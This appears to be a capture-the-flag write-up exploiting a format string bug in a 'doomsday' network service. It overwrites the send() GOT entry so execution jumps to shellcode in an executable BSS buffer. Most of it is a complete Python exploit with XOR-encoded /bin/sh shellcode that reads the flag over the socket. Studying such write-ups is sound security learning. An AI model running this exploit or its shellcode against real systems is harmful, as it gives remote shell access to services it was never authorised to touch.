We have a binary with a format string vulnerability:
What would be the last word you want say before the Mayan Calender ends?
Saying: %p %p %p %p
Starting count down to the end of the world!
5
4
3
2
1
0
ooO
ooOOOo
oOOOOOOoooo
ooOOOooo
/vvv\
/V V V\
/V V V\
/ V \
/ VV \ __________
/ VVV \ | |
/ VVVV \ |(nil) 0xbf9bb444 0xb7787e58 0xd696910|
/ VVVVV \ |__________|
VVVVVVVVVVVVV |
A format string vulnerability is fantastic tool for a GOT table overwrite. But what can we overwrite and where to jump ?
.bss:0804B120 ; char statement_4029[]
.bss:0804B120 statement_4029 db 200h dup(?) ; DATA XREF: sdoomsday+27o
.bss:0804B120 ; sdoomsday+3Fo ...
.bss:0804B120 _bss ends
Hmm.. Buffer in BSS, fixed offset ?
.text:08048B94 mov dword ptr [esp+0Ch], 0 ; flags
.text:08048B9C mov dword ptr [esp+8], 1FFh ; n
.text:08048BA4 mov dword ptr [esp+4], offset statement_4029 ; buf
.text:08048BAC mov [esp], eax ; fd
.text:08048BAF call _recv
Lovely! User input is stored into the BSS section and this section is RWE !
So our format string will overwrite the GOT entry for send() and replace it with the offset of the user input buffer.
I lost a monumental amount of time with an exploit that was working perfectly on my local Debian Squeeze VM and would output nothing on the challenge box. I rewrote it several time with different strategies to no avail. One of our team member tried on his Ubuntu box and it wouldn’t work either o_O .. so I fired up a CentOS VM and indeed, the format string had a off by one difference in the second argument. Making the exploit works on CentOS made it work on the Ubuntu and the challenge box. I don’t really know what’s up with Debian’s libc.
The final layout (but probably many other layouts worked before I discovered the issue with the Debian box) :
[short relative JMP to Shellcode] [Format string] [Shellcode]
For the shellcode since there is a small filter, we will just use a XOR-encoded polymorphic shellcode.
import socket
import sys
import struct
from struct import pack
import time
shellcode = ''
# dup2(4) as our socket is fd 4
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
# /bin/sh polymorphic
shellcode += "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81"
host = sys.argv[1]
port = 23456
guess_mode = int(sys.argv[2])
def connect_to_host():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print repr(s.recv(1024)) # banner
print repr(s.recv(1024)) # banner
return s
def exploit(payload):
s = connect_to_host()
s.send(payload + "\n")
time.sleep(3)
s.send("\nls -la\n")
s.send("cat key\n")
while True:
data = s.recv(1024)
if data:
print repr(data)
else:
break
def do_fmt(payload):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print repr(s.recv(1024))
print repr(s.recv(1024))
s.send(payload + "\n")
print "len payload=", len(payload)
data = s.recv(len("Starting count down to the end of the world!\n"))
for i in xrange(0,6):
print repr(s.recv(32))
time.sleep(1)
data = s.recv(194)
data = s.recv(4096)
data = data[:-63]
print repr(data)
return data
format_string = "%.12d%6$n%.145d%7$n%.82d%8$nAAAA%9$n"
jump_distance = 4*4 + len(format_string) + 2 # jump over format string to shellcode
print "jump distance=", jump_distance
payload = '\xeb' + chr(jump_distance) + '\x90' * 2
payload += pack("<I", 0x804B068) # GOT table send()
payload += pack("<I", 0x804B069)
payload += pack("<I", 0x804B06A)
payload += pack("<I", 0x804B06B)
payload += format_string
payload += shellcode
exploit(payload)
time.sleep(5)